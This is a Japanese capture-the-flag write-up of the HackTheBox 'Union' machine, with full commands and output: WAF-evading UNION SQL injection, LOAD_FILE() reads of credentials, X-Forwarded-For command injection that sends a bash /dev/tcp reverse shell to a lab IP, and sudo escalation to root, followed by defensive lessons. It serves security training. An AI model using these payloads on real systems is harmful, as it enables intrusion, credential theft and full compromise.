HackTheBox: Union — 全実行コマンド・実行結果レポート
Nmap スキャン
80/tcp のみ open
→
80/tcp のみ open
UNION SQLi (WAF回避)
index.php の player パラメータ
→
index.php の player パラメータ
LOAD_FILE()
challenge flag + DB資格情報奪取
→
challenge flag + DB資格情報奪取
challenge.php にflag提出
firewall.phpが22番を自IPへ開放
→
firewall.phpが22番を自IPへ開放
SSH (uhc) → user.txt ✓
→
X-Forwarded-For
コマンドインジェクション
→
コマンドインジェクション
sudo -l → NOPASSWD: ALL
→
sudo bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap スキャン
BASH
nmap -sV -sC -p- --min-rate 2000 10.129.96.75
RESULT
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
ℹ️
開いているのは80番のみ。22番(SSH)はfiltered(応答なし)であり、
後のフェーズでアプリケーション側の機能によって動的に開放されることが判明する。
サイト確認
BASH
curl -s http://10.129.96.75/ | head -c 500
RESULT
UHC (Ultimate Hacking Championship) November Qualifiers のフォーム画面。 "player" 名を入力して Check ボタンを押すと index.php へ AJAX POST される。
BASH
curl -s -X POST http://10.129.96.75/index.php -d "player=df" curl -s -X POST http://10.129.96.75/index.php -d "player=ippsec"
RESULT
player=df → Congratulations df you may compete in this tournament!... player=ippsec → Sorry, ippsec you are not eligible due to already qualifying.
ℹ️
DBに登録済みのプレイヤー名(ippsec等)は「既に予選通過済みなので参加不可」、
未登録の名前は「参加OK、
/challenge.phpへ進んで」という応答の違いがある。
ディレクトリ列挙
BASH
feroxbuster -u http://10.129.96.75 -x php
RESULT
301 http://10.129.96.75/css
200 http://10.129.96.75/config.php (空応答)
200 http://10.129.96.75/index.php
200 http://10.129.96.75/challenge.php
200 http://10.129.96.75/firewall.php ("Access Denied")
ℹ️
config.php は他ページから require される内部ファイル。
firewall.php は今はアクセス拒否だが、名前からしてファイアウォール絡みの
重要な機能だと推測できる。
PHASE 2
簡易WAF回避 & UNION ベース SQLi でファイル読み取り
SQLi の兆候を発見
BASH
curl -s -X POST http://10.129.96.75/index.php -d "player=df'" curl -s -X POST http://10.129.96.75/index.php -d "player=ippsec';-- -"
RESULT
player=df' → Congratulations df' you may compete... (シングルクォートがそのまま出力=クエリを壊していない?) player=ippsec';-- - → Congratulations ippsec';-- - you may compete...
🚨
ippsec は本来「既に予選通過」で弾かれるはずが、シングルクォート+コメントアウトを
付けると「参加OK」の応答に変わった。これは WHERE username = 'ippsec';-- -'
のような形でクエリが成立し、後半が無効化されたことを示す ── SQLi成立の証拠。
簡易 WAF の検出と回避
NOTE
player=df' or 1=1;-- - のような典型的なペイロードを送ると、
なぜか「参加OK」の応答すら返らなくなる(空/デフォルト応答)。
文字列 "0x" や " or " (前後スペース込み)を含めると同様に弾かれることを確認。
sqlmap 等の自動化ツールを止めるための簡易フィルタ("WAF")が入っている。
UNION SELECT 自体はこれらの禁止文字列を含まないため素通りする。
BASH
# 応答から定型文を取り除くヘルパー
qtest() {
curl -s -X POST http://10.129.96.75/index.php -d "player=$1" \
| sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'
}
qtest "' union select user();-- -"
RESULT
uhc@localhost
✅
UNION SELECT が通り、画面に表示される「プレイヤー名」の位置に任意のSELECT結果を
差し込める(UNION injection)ことを確認。
DB列挙
BASH
qtest "' union select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -" qtest "' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -" qtest "' union select group_concat(table_name,':',column_name) from INFORMATION_SCHEMA.columns where table_schema='november';-- -"
RESULT
DB一覧 : mysql,information_schema,performance_schema,sys,november
テーブル: flag,players
カラム : flag:one, players:player
challenge flag の取得
BASH
qtest "' union select group_concat(one) from flag;-- -"
RESULT
UHC{F1rst_5tep_2_Qualify}
LOAD_FILE() でソースコードと /etc/passwd を読む
BASH
qtest "' union select load_file('/var/www/html/config.php');-- -"
qtest "' union select load_file('/etc/passwd');-- -"
RESULT (config.php)
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
RESULT (/etc/passwd 抜粋)
...
htb:x:1000:1000:htb:/home/htb:/bin/bash
...
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
🚨
MySQLの
uhc ユーザーが FILE 権限付きで動いているため、
UNION SQLi 経由で任意ファイルの読み取り(LFI相当)ができてしまう。
DBパスワードとOSユーザー一覧(uhc等)の両方が判明した。
PHASE 3
flag 提出 → firewall.php が SSH を開放 → user.txt
challenge.php に flag を提出
BASH
curl -s -c cookies.txt http://10.129.96.75/challenge.php -o /dev/null
curl -s -b cookies.txt -c cookies.txt -X POST http://10.129.96.75/challenge.php \
-d "flag=UHC{F1rst_5tep_2_Qualify}" -D headers.txt -o /dev/null
grep -i location headers.txt
RESULT
Location: /firewall.php
ℹ️
challenge.php のソース(LOAD_FILEで既読)によると、送信した flag が
SELECT * FROM flag WHERE one = ? にヒットすると
$_SESSION['Authenticated'] = True がセットされ firewall.php へリダイレクトされる。
firewall.php へアクセス → 22番ポート開放
BASH
curl -s -b cookies.txt http://10.129.96.75/firewall.php
RESULT
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
RESULT (firewall.php ソース抜粋)
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
🚨
Authenticated セッションで firewall.php にアクセスするたびに、自分の
送信元IP(または
X-Forwarded-For ヘッダの値)を sudo iptables で
INPUT ACCEPT に追加している。この $ip がサニタイズなしで
system() に渡されている点が次フェーズの脆弱性そのもの。
SSH で user.txt 取得
BASH
nc -vz -w5 10.129.96.75 22 sshpass -p "uhc-11qual-global-pw" ssh uhc@10.129.96.75 "id; cat ~/user.txt"
RESULT
10.129.96.75: 22 (ssh) open uid=1001(uhc) gid=1001(uhc) groups=1001(uhc) 595752b2961f1a2f67df85cbfd3ddfe5
user.txt — uhc
595752b2961f1a2f67df85cbfd3ddfe5
✅
MySQL用に読み取ったDBパスワードが、そのまま OS の
uhc ユーザーの
SSHパスワードとしても使い回されていた。
PHASE 4
X-Forwarded-For ヘッダのコマンドインジェクションで www-data シェル
脆弱ポイントの再確認
NOTE
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
$ip は X-Forwarded-For ヘッダの値をそのまま使う。開発者は「送信元IPは偽装できない」
という前提で安全だと考えたようだが、X-Forwarded-For はクライアントが自由に
設定できるヘッダであり、$ip の中身は完全にこちらでコントロールできる。
セミコロンで区切れば任意コマンドを追加注入できる。
PoC: out-of-band ping で疎通確認
BASH
sudo tcpdump -ni tun0 icmp & curl -s -b cookies.txt \ -H "X-Forwarded-For: 1.1.1.1; ping -c 1 10.10.15.201;" \ http://10.129.96.75/firewall.php -o /dev/null
RESULT
19:08:32 IP 10.129.96.75 > 10.10.15.201: ICMP echo request, id 1, seq 1
⚠️
末尾のセミコロン
; を忘れずに付けること。付けないと
sudo iptables ... -s 1.1.1.1; ping -c 1 <ip> -j ACCEPT の形になり、
ping コマンドが未知のオプション -j を受け取ってエラーになる。
リバースシェル
BASH
# リスナー nc -lnvp 4444 # ペイロード送信 curl -s -b cookies.txt \ -H 'X-Forwarded-For: 1.1.1.1; bash -c "bash -i >& /dev/tcp/10.10.15.201/4444 0>&1";' \ http://10.129.96.75/firewall.php -o /dev/null
RESULT (nc :4444 側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.96.75] 50918 bash: cannot set terminal process group (755): Inappropriate ioctl for device bash: no job control in this shell www-data@union:~/html$
✅
RCE成功。 www-data 権限のインタラクティブシェルを獲得。
PHASE 5
sudo NOPASSWD:ALL → root.txt
sudo 権限の確認
BASH
www-data@union:~/html$ sudo -l
RESULT
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
🚨
firewall.php が
sudo /usr/sbin/iptables だけを呼べればよいはずが、
実際には www-data にあらゆるコマンドをパスワード無しでsudo実行できる
権限が付与されている(過剰な権限付与)。
root シェル取得 & root.txt
BASH
www-data@union:~/html$ sudo bash root@union:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
99caac717bde797b6459df184bf024dd
root.txt
99caac717bde797b6459df184bf024dd
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — uhc
595752b2961f1a2f67df85cbfd3ddfe5
root.txt
99caac717bde797b6459df184bf024dd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| UNION ベース SQLi (WAF回避) | index.php の player パラメータ | DB全読み取り + LOAD_FILE()による任意ファイル読み取り | Critical | 禁止文字列(“0x”,” or “)を避けた UNION SELECT で challenge flag / DB資格情報 / /etc/passwd を奪取 |
| パスワード使い回し | MySQL uhc アカウント ⇔ OS uhc アカウント | SSHアクセス(user.txt) | Medium | DB接続パスワードがOSログインパスワードとしても有効だった |
| OSコマンドインジェクション | firewall.php の X-Forwarded-For ヘッダ | リモートコード実行 (www-data) | Critical | ユーザー制御可能なヘッダ値をサニタイズせず system() に連結 |
| 過剰な sudo 権限 | www-data の sudoers エントリ | 権限昇格 (root) | Critical | iptables専用で十分なはずが (ALL:ALL) NOPASSWD:ALL が付与されていた |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (80のみ open) + アプリ動作確認 | WAF付きログインフォーム、challenge/firewallページの存在 |
| 2 | データ奪取 | UNION SQLi + LOAD_FILE() | challenge flag、DB資格情報 uhc:uhc-11qual-global-pw、ユーザー一覧 |
| 3 | 横展開 | flag提出→firewall.phpで22番自動開放→SSH(パスワード使い回し) | user.txt 取得 |
| 4 | RCE | X-Forwarded-Forヘッダのコマンドインジェクション | www-data リバースシェル |
| 5 | 権限昇格 | sudo -l → (ALL:ALL) NOPASSWD:ALL → sudo bash | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 禁止文字列のブラックリスト方式のみでSQLiを防ごうとしている(簡易WAF) | プレースホルダ/プリペアドステートメントを徹底し、文字列連結でSQL文を組み立てない。ブラックリスト方式のWAFはバイパス手法が常に存在する前提で運用する。 |
| MySQLアカウントに不要な FILE 権限が付与されている | アプリ用DBアカウントは必要最小限の権限(SELECT/INSERT/UPDATE等)に絞り、FILE権限やスーパーユーザー相当の権限を渡さない。 |
| DBパスワードをOSアカウントのパスワードとして使い回している | 用途ごとに独立した認証情報を発行し、ローテーションと使い回し禁止を徹底する。 |
| クライアント制御可能なヘッダ(X-Forwarded-For)をコマンドに直接連結 | 外部入力は信頼しない。IPアドレスの妥当性を厳密に検証(正規表現+フォーマットチェック)し、system()系関数を使う場合は escapeshellarg() 等でエスケープするか、そもそもシェル経由を避けるAPIを使う。 |
| www-dataに (ALL:ALL) NOPASSWD:ALL のsudo権限を付与 | sudoers は実行させたい特定のコマンド(例: /usr/sbin/iptables の特定引数のみ)に限定し、ワイルドカードのALL権限を付与しない。 |

